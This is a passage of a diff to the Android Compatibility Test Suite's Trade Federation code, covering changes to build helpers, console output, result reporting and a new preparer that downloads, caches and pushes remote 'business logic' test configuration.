-    text-align: left;
-    vertical-align: top;
-    padding:1;
-    overflow:hidden;
-    font-weight:bold;
+  border: 1px outset #a5c639;
+  font-weight: bold;
+  overflow: hidden;
+  padding: 1;
+  text-align: left;
+  vertical-align: top;
 }
 
 div.details {
-    white-space: pre-wrap;       /* css-3 */
-    white-space: -moz-pre-wrap;  /* Mozilla, since 1999 */
-    white-space: -pre-wrap;      /* Opera 4-6 */
-    white-space: -o-pre-wrap;    /* Opera 7 */
-    word-wrap: break-word;       /* Internet Explorer 5.5+ */
-    overflow:auto;
+  overflow: auto;
+  white-space: pre-wrap;       /* css-3 */
+  white-space: -moz-pre-wrap;  /* Mozilla, since 1999 */
+  white-space: -pre-wrap;      /* Opera 4-6 */
+  white-space: -o-pre-wrap;    /* Opera 7 */
+  word-wrap: break-word;       /* Internet Explorer 5.5+ */
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
index 4eb0843..50d1c3a 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
@@ -15,9 +15,9 @@
  */
 package com.android.compatibility.common.tradefed.build;
 
-import com.android.compatibility.common.util.DynamicConfigHostSide;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.build.IFolderBuildInfo;
+import com.android.tradefed.build.VersionedFile;
 import com.android.tradefed.util.FileUtil;
 
 import java.io.File;
@@ -44,9 +44,13 @@
 
     private static final String ROOT_DIR2 = "ROOT_DIR2";
     private static final String DYNAMIC_CONFIG_OVERRIDE_URL = "DYNAMIC_CONFIG_OVERRIDE_URL";
+    private static final String BUSINESS_LOGIC_HOST_FILE = "BUSINESS_LOGIC_HOST_FILE";
     private static final String RETRY_COMMAND_LINE_ARGS = "retry_command_line_args";
     private static final String ALT_HOST_TESTCASE_DIR = "ANDROID_HOST_OUT_TESTCASES";
     private static final String ALT_TARGET_TESTCASE_DIR = "ANDROID_TARGET_OUT_TESTCASES";
+
+    private static final String CONFIG_PATH_PREFIX = "DYNAMIC_CONFIG_FILE:";
+
     private final IBuildInfo mBuildInfo;
 
     /**
@@ -107,26 +111,52 @@
     }
 
     public void addDynamicConfigFile(String moduleName, File configFile) {
-        mBuildInfo.addBuildAttribute(DynamicConfigHostSide.CONFIG_PATH_PREFIX + moduleName,
-                configFile.getAbsolutePath());
+        // If invocation fails and ResultReporter never moves this file into the result,
+        // using setFile() ensures BuildInfo will delete upon cleanUp().
+        mBuildInfo.setFile(configFile.getName(), configFile,
+                CONFIG_PATH_PREFIX + moduleName /* version */);
+    }
+
+    public void setBusinessLogicHostFile(File hostFile) {
+        mBuildInfo.addBuildAttribute(BUSINESS_LOGIC_HOST_FILE, hostFile.getAbsolutePath());
     }
 
     public void setModuleIds(String[] moduleIds) {
         mBuildInfo.addBuildAttribute(MODULE_IDS, String.join(",", moduleIds));
     }
 
+    /**
+     * Returns the map of the dynamic config files downloaded.
+     */
     public Map<String, File> getDynamicConfigFiles() {
         Map<String, File> configMap = new HashMap<>();
-        for (String key : mBuildInfo.getBuildAttributes().keySet()) {
-            if (key.startsWith(DynamicConfigHostSide.CONFIG_PATH_PREFIX)) {
-                configMap.put(key.substring(DynamicConfigHostSide.CONFIG_PATH_PREFIX.length()),
-                        new File(mBuildInfo.getBuildAttributes().get(key)));
+        for (VersionedFile vFile : mBuildInfo.getFiles()) {
+            if (vFile.getVersion().startsWith(CONFIG_PATH_PREFIX)) {
+                configMap.put(
+                        vFile.getVersion().substring(CONFIG_PATH_PREFIX.length()),
+                        vFile.getFile());
             }
         }
         return configMap;
     }
 
     /**
+     * @return whether the business logic file has been set for this invocation.
+     */
+    public boolean hasBusinessLogicHostFile() {
+        return mBuildInfo.getBuildAttributes().get(BUSINESS_LOGIC_HOST_FILE) != null;
+    }
+
+    /**
+     * @return a {@link File} representing the file containing business logic data for this
+     * invocation, or null if the business logic file has not been set.
+     */
+    public File getBusinessLogicHostFile() {
+        return (hasBusinessLogicHostFile()) ?
+                new File(mBuildInfo.getBuildAttributes().get(BUSINESS_LOGIC_HOST_FILE)) : null;
+    }
+
+    /**
      * @return a {@link File} representing the directory holding the Compatibility installation
      * @throws FileNotFoundException if the directory does not exist
      */
@@ -202,6 +232,18 @@
     }
 
     /**
+     * @return a {@link File} representing the directory to store screenshots taken while testing.
+     * @throws FileNotFoundException if the directory structure is not valid.
+     */
+    public File getScreenshotsDir() throws FileNotFoundException {
+        File screenshotsDir = new File(getResultDir(), "screenshots");
+        if (!screenshotsDir.exists()) {
+            screenshotsDir.mkdirs();
+        }
+        return screenshotsDir;
+    }
+
+    /**
      * @return a {@link File} representing the test modules directory.
      * @throws FileNotFoundException if the directory structure is not valid.
      */
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java
index 722d55a..3654d78 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java
@@ -16,7 +16,6 @@
 package com.android.compatibility.common.tradefed.build;
 
 import com.android.annotations.VisibleForTesting;
-import com.android.compatibility.SuiteInfo;
 import com.android.tradefed.build.BuildInfo;
 import com.android.tradefed.build.BuildRetrievalError;
 import com.android.tradefed.build.DeviceBuildInfo;
@@ -24,11 +23,14 @@
 import com.android.tradefed.build.IBuildProvider;
 import com.android.tradefed.build.IDeviceBuildInfo;
 import com.android.tradefed.build.IDeviceBuildProvider;
+import com.android.tradefed.build.VersionedFile;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.config.Option.Importance;
 import com.android.tradefed.config.OptionClass;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
+import com.android.tradefed.util.FileUtil;
 
 import java.io.File;
 import java.text.SimpleDateFormat;
@@ -171,7 +173,17 @@
      */
     @Override
     public void cleanUp(IBuildInfo info) {
-        // ignore
+        // Everything should have been copied properly to result folder, we clean up
+        if (info instanceof IDeviceBuildInfo) {
+            for (VersionedFile f : info.getFiles()) {
+                // do not delete the testsdir since it's the real CTS folder.
+                if (!f.getFile().equals(((IDeviceBuildInfo) info).getTestsDir())) {
+                    FileUtil.recursiveDelete(f.getFile());
+                }
+            }
+        } else {
+            info.cleanUp();
+        }
     }
 
     private void addCompatibilitySuiteInfo(IBuildInfo info) {
@@ -218,28 +230,28 @@
      * Return the SuiteInfo name generated at build time. Exposed for testing.
      */
     protected String getSuiteInfoName() {
-        return SuiteInfo.NAME;
+        return TestSuiteInfo.getInstance().getName();
     }
 
     /**
      * Return the SuiteInfo build number generated at build time. Exposed for testing.
      */
     protected String getSuiteInfoBuildNumber() {
-        return SuiteInfo.BUILD_NUMBER;
+        return TestSuiteInfo.getInstance().getBuildNumber();
     }
 
     /**
      * Return the SuiteInfo fullname generated at build time. Exposed for testing.
      */
     protected String getSuiteInfoFullname() {
-        return SuiteInfo.FULLNAME;
+        return TestSuiteInfo.getInstance().getFullName();
     }
 
     /**
      * Return the SuiteInfo version generated at build time. Exposed for testing.
      */
     protected String getSuiteInfoVersion() {
-        return SuiteInfo.VERSION;
+        return TestSuiteInfo.getInstance().getVersion();
     }
 
     /**
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
index 307d648..32e6197 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
@@ -15,7 +15,6 @@
  */
 package com.android.compatibility.common.tradefed.command;
 
-import com.android.compatibility.SuiteInfo;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider;
 import com.android.compatibility.common.tradefed.result.SubPlanHelper;
@@ -32,6 +31,7 @@
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.IRemoteTest;
 import com.android.tradefed.testtype.IRuntimeHintProvider;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
 import com.android.tradefed.util.ArrayUtil;
 import com.android.tradefed.util.FileUtil;
 import com.android.tradefed.util.Pair;
@@ -73,8 +73,9 @@
      */
     @Override
     public void run() {
-        printLine(String.format("Android %s %s (%s)", SuiteInfo.FULLNAME, SuiteInfo.VERSION,
-                SuiteInfo.BUILD_NUMBER));
+        printLine(String.format("Android %s %s (%s)", TestSuiteInfo.getInstance().getFullName(),
+                TestSuiteInfo.getInstance().getVersion(),
+                TestSuiteInfo.getInstance().getBuildNumber()));
         printLine("Use \"help\" or \"help all\" to get more information on running commands.");
         super.run();
     }
@@ -87,7 +88,7 @@
             Map<String, String> commandHelp) {
 
         genericHelp.add("Enter 'help add'        for help with 'add subplan' commands");
-        genericHelp.add("\t----- " + SuiteInfo.FULLNAME + " usage ----- ");
+        genericHelp.add("\t----- " + TestSuiteInfo.getInstance().getFullName() + " usage ----- ");
         genericHelp.add("Usage: run <plan> [--module <module name>] [ options ]");
         genericHelp.add("Example: run cts --module CtsGestureTestCases --bugreport-on-failure");
         genericHelp.add("");
@@ -149,8 +150,10 @@
         trie.put(new Runnable() {
             @Override
             public void run() {
-                printLine(String.format("Android %s %s (%s)", SuiteInfo.FULLNAME,
-                        SuiteInfo.VERSION, SuiteInfo.BUILD_NUMBER));
+                printLine(String.format("Android %s %s (%s)",
+                        TestSuiteInfo.getInstance().getFullName(),
+                        TestSuiteInfo.getInstance().getVersion(),
+                        TestSuiteInfo.getInstance().getBuildNumber()));
             }
         }, "version"); // override tradefed 'version' command to print test suite name and version
 
@@ -162,7 +165,8 @@
         }
         String combinedHelp = listHelp +
                 LINE_SEPARATOR +
-                "\t----- " + SuiteInfo.FULLNAME + " specific options ----- " + LINE_SEPARATOR +
+                "\t----- " + TestSuiteInfo.getInstance().getFullName()
+                + " specific options ----- " + LINE_SEPARATOR +
                 "\tp[lans]               List all plans available" + LINE_SEPARATOR +
                 "\tm[odules]             List all modules available" + LINE_SEPARATOR +
                 "\tr[esults]             List all results" + LINE_SEPARATOR;
@@ -175,7 +179,8 @@
         }
         String combinedRunHelp = runHelp +
                 LINE_SEPARATOR +
-                "\t----- " + SuiteInfo.FULLNAME + " specific options ----- " + LINE_SEPARATOR +
+                "\t----- " + TestSuiteInfo.getInstance().getFullName()
+                + " specific options ----- " + LINE_SEPARATOR +
                 "\t<plan> --module/-m <module>       Run a test module" + LINE_SEPARATOR +
                 "\t<plan> --module/-m <module> --test/-t <test_name>    Run a specific test from" +
                 " the module. Test name can be <package>.<class>, <package>.<class>#<method> or "
@@ -210,7 +215,7 @@
      */
     @Override
     protected String getConsolePrompt() {
-        return String.format("%s-tf > ", SuiteInfo.NAME.toLowerCase());
+        return String.format("%s-tf > ", TestSuiteInfo.getInstance().getName().toLowerCase());
     }
 
     private void listModules() {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
index f1f273d..5427c26 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
@@ -19,6 +19,7 @@
 import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
 import com.android.compatibility.common.tradefed.util.RetryType;
 import com.android.compatibility.common.util.ChecksumReporter;
+import com.android.compatibility.common.util.DeviceInfo;
 import com.android.compatibility.common.util.ICaseResult;
 import com.android.compatibility.common.util.IInvocationResult;
 import com.android.compatibility.common.util.IModuleResult;
@@ -97,7 +98,8 @@
     private static final List<String> NOT_RETRY_FILES = Arrays.asList(
             ChecksumReporter.NAME,
             ChecksumReporter.PREV_NAME,
-            ResultHandler.FAILURE_REPORT_NAME);
+            ResultHandler.FAILURE_REPORT_NAME,
+            "diffs");
 
     @Option(name = CompatibilityTest.RETRY_OPTION,
             shortName = 'r',
@@ -154,7 +156,6 @@
     private int mCurrentTestNum;
     private int mTotalTestsInModule;
 
-
     // Whether modules can be marked done for this invocation. Initialized in invocationStarted()
     // Visible for unit testing
     protected boolean mCanMarkDone;
@@ -517,7 +518,7 @@
 
         try {
             // Zip the full test results directory.
-            copyDynamicConfigFiles(mBuildHelper.getDynamicConfigFiles(), mResultDir);
+            copyDynamicConfigFiles();
             copyFormattingFiles(mResultDir, mBuildHelper.getSuiteName());
 
             File resultFile = generateResultXmlFile();
@@ -579,20 +580,41 @@
             mMasterResultReporter.testLog(name, type, stream);
             return;
         }
-        try {
-            File logFile = null;
-            if (mCompressLogs) {
-                try (InputStream inputStream = stream.createInputStream()) {
-                    logFile = mTestLogSaver.saveAndGZipLogData(name, type, inputStream);
+        if (name.endsWith(DeviceInfo.FILE_SUFFIX)) {
+            // Handle device info file case
+            testLogDeviceInfo(name, stream);
+        } else {
+            try {
+                File logFile = null;
+                if (mCompressLogs) {
+                    try (InputStream inputStream = stream.createInputStream()) {
+                        logFile = mTestLogSaver.saveAndGZipLogData(name, type, inputStream);
+                    }
+                } else {
+                    try (InputStream inputStream = stream.createInputStream()) {
+                        logFile = mTestLogSaver.saveLogData(name, type, inputStream);
+                    }
                 }
-            } else {
-                try (InputStream inputStream = stream.createInputStream()) {
-                    logFile = mTestLogSaver.saveLogData(name, type, inputStream);
-                }
+                debug("Saved logs for %s in %s", name, logFile.getAbsolutePath());
+            } catch (IOException e) {
+                warn("Failed to write log for %s", name);
+                CLog.e(e);
             }
-            debug("Saved logs for %s in %s", name, logFile.getAbsolutePath());
+        }
+    }
+
+    /* Write device-info files to the result, invoked only by the master result reporter */
+    private void testLogDeviceInfo(String name, InputStreamSource stream) {
+        try {
+            File ediDir = new File(mResultDir, DeviceInfo.RESULT_DIR_NAME);
+            ediDir.mkdirs();
+            File ediFile = new File(ediDir, name);
+            if (!ediFile.exists()) {
+                // only write this file to the results if not already present
+                FileUtil.writeToFile(stream.createInputStream(), ediFile);
+            }
         } catch (IOException e) {
-            warn("Failed to write log for %s", name);
+            warn("Failed to write device info %s to result", name);
             CLog.e(e);
         }
     }
@@ -829,29 +851,33 @@
 
     /**
      * move the dynamic config files to the results directory
-     *
-     * @param configFiles
-     * @param resultsDir
      */
-    static void copyDynamicConfigFiles(Map<String, File> configFiles, File resultsDir) {
-        if (configFiles.size() == 0) return;
-
-        File configDir = new File(resultsDir, "config");
-        boolean mkdirSuccess = configDir.mkdir(); // success check added for b/63030111
-        if (!mkdirSuccess) {
+    private void copyDynamicConfigFiles() {
+        File configDir = new File(mResultDir, "config");
+        if (!configDir.mkdir()) {
             warn("Failed to make dynamic config directory \"%s\" in the result",
                     configDir.getAbsolutePath());
         }
-        for (String moduleName : configFiles.keySet()) {
-            File srcFile = configFiles.get(moduleName);
-            File destFile = new File(configDir, moduleName+".dynamic");
-            try {
-                FileUtil.copyFile(srcFile, destFile);
+
+        Set<String> uniqueModules = new HashSet<>();
+        for (IBuildInfo buildInfo : mMasterBuildInfos) {
+            CompatibilityBuildHelper helper = new CompatibilityBuildHelper(buildInfo);
+            Map<String, File> dcFiles = helper.getDynamicConfigFiles();
+            for (String moduleName : dcFiles.keySet()) {
+                File srcFile = dcFiles.get(moduleName);
+                if (!uniqueModules.contains(moduleName)) {
+                    // have not seen config for this module yet, copy into result
+                    File destFile = new File(configDir, moduleName + ".dynamic");
+                    try {
+                        FileUtil.copyFile(srcFile, destFile);
+                        uniqueModules.add(moduleName); // Add to uniqueModules if copy succeeds
+                    } catch (IOException e) {
+                        warn("Failure when copying config file \"%s\" to \"%s\" for module %s",
+                                srcFile.getAbsolutePath(), destFile.getAbsolutePath(), moduleName);
+                        CLog.e(e);
+                    }
+                }
                 FileUtil.deleteFile(srcFile);
-            } catch (IOException e) {
-                warn("Failure when copying config file \"%s\" to \"%s\" for module %s",
-                        srcFile.getAbsolutePath(), destFile.getAbsolutePath(), moduleName);
-                CLog.e(e);
             }
         }
     }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/BusinessLogicPreparer.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/BusinessLogicPreparer.java
new file mode 100644
index 0000000..1541672
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/BusinessLogicPreparer.java
@@ -0,0 +1,398 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.targetprep;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.tradefed.util.DynamicConfigFileReader;
+import com.android.compatibility.common.util.BusinessLogic;
+import com.android.compatibility.common.util.BusinessLogicFactory;
+import com.android.compatibility.common.util.FeatureUtil;
+import com.android.compatibility.common.util.PropertyUtil;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.config.OptionClass;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.targetprep.BuildError;
+import com.android.tradefed.targetprep.ITargetCleaner;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.MultiMap;
+import com.android.tradefed.util.StreamUtil;
+import com.android.tradefed.util.net.HttpHelper;
+import com.android.tradefed.util.net.IHttpHelper;
+
+import com.google.api.client.auth.oauth2.Credential;
+import com.google.api.client.googleapis.auth.oauth2.GoogleCredential;
+import com.google.common.base.Strings;
+
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Pushes business Logic to the host and the test device, for use by test cases in the test suite.
+ */
+@OptionClass(alias="business-logic-preparer")
+public class BusinessLogicPreparer implements ITargetCleaner {
+
+    /* Placeholder in the service URL for the suite to be configured */
+    private static final String SUITE_PLACEHOLDER = "{suite-name}";
+
+    /* String for creating files to store the business logic configuration on the host */
+    private static final String FILE_LOCATION = "business-logic";
+    /* String for creating cached business logic configuration files */
+    private static final String BL_CACHE_FILE = "business-logic-cache";
+    /* Number of days for which cached business logic is valid */
+    private static final int BL_CACHE_DAYS = 5;
+    /* BL_CACHE_DAYS converted to millis */
+    private static final long BL_CACHE_MILLIS = BL_CACHE_DAYS * 1000 * 60 * 60 * 24L;
+    /* Extension of business logic files */
+    private static final String FILE_EXT = ".bl";
+    /* Default amount of time to attempt connection to the business logic service, in seconds */
+    private static final int DEFAULT_CONNECTION_TIME = 10;
+    /* Dynamic config constants */
+    private static final String DYNAMIC_CONFIG_FEATURES_KEY = "business_logic_device_features";
+    private static final String DYNAMIC_CONFIG_PROPERTIES_KEY = "business_logic_device_properties";
+    private static final String DYNAMIC_CONFIG_CONDITIONAL_TESTS_ENABLED_KEY =
+            "conditional_business_logic_tests_enabled";
+    /* Format used to append the enabled attribute to the serialized business logic string. */
+    private static final String ENABLED_ATTRIBUTE_SNIPPET = ", \"%s\":%s }";
+
+    @Option(name = "business-logic-url", description = "The URL to use when accessing the " +
+            "business logic service, parameters not included", mandatory = true)
+    private String mUrl;
+
+    @Option(name = "business-logic-api-key", description = "The API key to use when accessing " +
+            "the business logic service.", mandatory = true)
+    private String mApiKey;
+
+    @Option(name = "business-logic-api-scope", description = "The URI of api scope to use when " +
+            "retrieving business logic rules.")
+    /* URI of api scope to use when retrieving business logic rules */
+    private  String mApiScope;
+
+    @Option(name = "cache-business-logic", description = "Whether to keep and use cached " +
+            "business logic files.")
+    private boolean mCache = false;
+
+    @Option(name = "clean-cache-business-logic", description = "Like option " +
+            "'cache-business-logic', but forces a refresh of the cached business logic file")
+    private boolean mCleanCache = false;
+
+    @Option(name = "ignore-business-logic-failure", description = "Whether to proceed with the " +
+            "suite invocation if retrieval of business logic fails.")
+    private boolean mIgnoreFailure = false;
+
+    @Option(name="conditional-business-logic-tests-enabled",
+            description="Setting to true will ensure the device specific tests are executed.")
+    private boolean mConditionalTestsEnabled = false;
+
+    @Option(name = "business-logic-connection-time", description = "Amount of time to attempt " +
+            "connection to the business logic service, in seconds.")
+    private int mMaxConnectionTime = DEFAULT_CONNECTION_TIME;
+
+    private String mDeviceFilePushed;
+    private String mHostFilePushed;
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setUp(ITestDevice device, IBuildInfo buildInfo) throws TargetSetupError, BuildError,
+            DeviceNotAvailableException {
+        String requestString = buildRequestString(device, buildInfo);
+        String businessLogicString = null;
+        // use cached business logic string if options are set accordingly and cache is valid,
+        // otherwise proceed with remote download.
+        if (!shouldReadCache() || (businessLogicString = readFromCache(requestString)) == null) {
+            CLog.i("Attempting to connect to business logic service...");
+        }
+        long start = System.currentTimeMillis();
+        while (businessLogicString == null
+                && System.currentTimeMillis() < (start + (mMaxConnectionTime * 1000))) {
+            try {
+                URL request = new URL(requestString);
+                businessLogicString = StreamUtil.getStringFromStream(request.openStream());
+                businessLogicString = addRuntimeConfig(businessLogicString, buildInfo);
+            } catch (IOException e) {} // ignore, re-attempt connection with remaining time
+        }
+        if (businessLogicString == null) {
+            if (mIgnoreFailure) {
+                CLog.e("Failed to connect to business logic service.\nProceeding with test "
+                        + "invocation, tests depending on the remote configuration will fail.\n");
+                return;
+            } else {
+                throw new TargetSetupError(String.format("Cannot connect to business logic "
+                        + "service for suite %s.\nIf this problem persists, re-invoking with "
+                        + "option '--ignore-business-logic-failure' will cause tests to execute "
+                        + "anyways (though tests depending on the remote configuration will fail).",
+                        TestSuiteInfo.getInstance().getName()), device.getDeviceDescriptor());
+            }
+        }
+
+        if (shouldWriteCache()) {
+            writeToCache(businessLogicString, requestString, mCleanCache);
+        }
+        // Push business logic string to host file
+        try {
+            File hostFile = FileUtil.createTempFile(FILE_LOCATION, FILE_EXT);
+            FileUtil.writeToFile(businessLogicString, hostFile);
+            mHostFilePushed = hostFile.getAbsolutePath();
+            CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(buildInfo);
+            buildHelper.setBusinessLogicHostFile(hostFile);
+        } catch (IOException e) {
+            throw new TargetSetupError(String.format(
+                    "Retrieved business logic for suite %s could not be written to host",
+                    TestSuiteInfo.getInstance().getName()), device.getDeviceDescriptor());
+        }
+        // Push business logic string to device file
+        removeDeviceFile(device); // remove any existing business logic file from device
+        if (device.pushString(businessLogicString, BusinessLogic.DEVICE_FILE)) {
+            mDeviceFilePushed = BusinessLogic.DEVICE_FILE;
+        } else {
+            throw new TargetSetupError(String.format(
+                    "Retrieved business logic for suite %s could not be written to device %s",
+                    TestSuiteInfo.getInstance().getName(), device.getSerialNumber()),
+                    device.getDeviceDescriptor());
+        }
+    }
+
+    /** Helper to populate the business logic service request with info about the device. */
+    private String buildRequestString(ITestDevice device, IBuildInfo buildInfo)
+            throws DeviceNotAvailableException {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(buildInfo);
+        String baseUrl = mUrl.replace(SUITE_PLACEHOLDER, getSuiteName());
+        MultiMap<String, String> paramMap = new MultiMap<>();
+        paramMap.put("suite_version", buildHelper.getSuiteVersion());
+        paramMap.put("oem", String.valueOf(PropertyUtil.getManufacturer(device)));
+        String accessToken = getToken();
+        // Add api key (not authenticated) or Oath token, but not both.
+        if (Strings.isNullOrEmpty(accessToken)) {
+            paramMap.put("key", mApiKey);
+        } else {
+            paramMap.put("access_token", accessToken);
+        }
+        for (String feature : getBusinessLogicFeatures(device, buildInfo)) {
+            paramMap.put("features", feature);
+        }
+        for (String property : getBusinessLogicProperties(device, buildInfo)) {
+            paramMap.put("properties", property);
+        }
+        IHttpHelper helper = new HttpHelper();
+        return helper.buildUrl(baseUrl, paramMap);
+    }
+
+    /* Get device properties list, with element format "<property_name>:<property_value>" */
+    private List<String> getBusinessLogicProperties(ITestDevice device, IBuildInfo buildInfo)
+            throws DeviceNotAvailableException {
+        List<String> properties = new ArrayList<>();
+        Map<String, String> clientIds = PropertyUtil.getClientIds(device);
+        for (Map.Entry<String, String> id : clientIds.entrySet()) {
+            // add client IDs to the list of properties
+            properties.add(String.format("%s:%s", id.getKey(), id.getValue()));
+        }
+
+        try {
+            List<String> propertyNames = DynamicConfigFileReader.getValuesFromConfig(buildInfo,
+                    getSuiteName(), DYNAMIC_CONFIG_PROPERTIES_KEY);
+            for (String name : propertyNames) {
+                // Use String.valueOf in case property is undefined for the device ("null")
+                String value = String.valueOf(device.getProperty(name));
+                properties.add(String.format("%s:%s", name, value));
+            }
+        } catch (XmlPullParserException | IOException e) {
+            CLog.e("Failed to pull business logic properties from dynamic config");
+        }
+        return properties;
+    }
+
+    /* Get device features list */
+    private List<String> getBusinessLogicFeatures(ITestDevice device, IBuildInfo buildInfo)
+            throws DeviceNotAvailableException {
+        try {
+            List<String> dynamicConfigFeatures = DynamicConfigFileReader.getValuesFromConfig(
+                    buildInfo, getSuiteName(), DYNAMIC_CONFIG_FEATURES_KEY);
+            Set<String> deviceFeatures = FeatureUtil.getAllFeatures(device);
+            dynamicConfigFeatures.retainAll(deviceFeatures);
+            return dynamicConfigFeatures;
+        } catch (XmlPullParserException | IOException e) {
+            CLog.e("Failed to pull business logic features from dynamic config");
+            return new ArrayList<>();
+        }
+    }
+
+    private boolean shouldReadCache() {
+        return mCache && !mCleanCache;
+    }
+
+    private boolean shouldWriteCache() {
+        return mCache || mCleanCache;
+    }
+
+    private String getSuiteName() {
+        return TestSuiteInfo.getInstance().getName().toLowerCase();
+    }
+
+    /**
+     * Append runtime configuration attributes to the end of the Json string.
+     * Determine if conditional tests should execute and add the value to the serialized business
+     * logic settings.
+     */
+    private String addRuntimeConfig(String businessLogicString, IBuildInfo buildInfo) {
+        int indexOfClosingParen = businessLogicString.lastIndexOf("}");
+        // Replace the closing paren with th enabled flag and closing paren. ex
+        // { "a":4 } -> {"a":4, "enabled":true }
+        return businessLogicString.substring(0, indexOfClosingParen) +
+                String.format(ENABLED_ATTRIBUTE_SNIPPET,
+                        BusinessLogicFactory.CONDITIONAL_TESTS_ENABLED,
+                        shouldExecuteConditionalTests(buildInfo));
+    }
+
+    /**
+     * Execute device specific test if enabled in config or through the command line.
+     * Otherwise skip all conditional tests.
+     */
+    private boolean shouldExecuteConditionalTests(IBuildInfo buildInfo) {
+        boolean enabledInConfig = false;
+        try {
+            String enabledInConfigValue = DynamicConfigFileReader.getValueFromConfig(
+                    buildInfo, getSuiteName(), DYNAMIC_CONFIG_CONDITIONAL_TESTS_ENABLED_KEY);
+            enabledInConfig = Boolean.parseBoolean(enabledInConfigValue);
+        } catch (XmlPullParserException | IOException e) {
+            CLog.e("Failed to pull business logic features from dynamic config");
+        }
+        return enabledInConfig || mConditionalTestsEnabled;
+    }
+
+    /**
+     * Read the string from the business logic cache, handling the following cases with a null
+     * return value:
+     * - The cached file does not exist
+     * - The cached file cannot be read
+     * - The cached file is timestamped more than BL_CACHE_DAYS prior to now
+     * In the last two cases, the file is deleted so an up-to-date configuration may be cached anew
+     */
+    private static synchronized String readFromCache(String url) {
+        // url hashCode makes file unique, in case host runs invocations for different
+        // device builds and/or test suites using business logic
+        String cachedString = null;
+        File cachedFile = getCachedFile(url);
+        if (!cachedFile.exists()) {
+            CLog.i("No cached business logic found");
+            return null;
+        }
+        try {
+            BusinessLogic cachedLogic = BusinessLogicFactory.createFromFile(cachedFile);
+            Date cachedDate = cachedLogic.getTimestamp();
+            if (System.currentTimeMillis() - cachedDate.getTime() < BL_CACHE_MILLIS) {
+                CLog.i("Using cached business logic from: %s", cachedDate.toString());
+                return cachedString = FileUtil.readStringFromFile(cachedFile);
+            } else {
+                CLog.i("Cached business logic out-of-date, deleting cached file");
+                FileUtil.deleteFile(cachedFile);
+            }
+        } catch (IOException e) {
+            CLog.w("Failed to read cached business logic, deleting cached file");
+            FileUtil.deleteFile(cachedFile);
+        }
+        return null;
+    }
+
+    /**
+     * Write a string retrieved from the business logic service to the cache file, only if the
+     * file does not already exist. Synchronize this method to prevent concurrent writes in the
+     * sharding case.
+     * @param blString the string to cache
+     * @url the business logic request url containing suite and device information, useful for
+     * getting the correct cached file.
+     */
+    private static synchronized void writeToCache(String blString, String url, boolean overwrite) {
+        File cachedFile = getCachedFile(url);
+        if (!cachedFile.exists() || overwrite) {
+            // don't overwrite existing file, whether from previous shard or previous invocation
+            try {
+                FileUtil.writeToFile(blString, cachedFile);
+            } catch (IOException e) {
+                throw new RuntimeException("Failed to write business logic to cache file", e);
+            }
+        }
+    }
+
+    /**
+     * Get the cached business logic file given the base url used to retrieve this logic.
+     */
+    private static File getCachedFile(String url) {
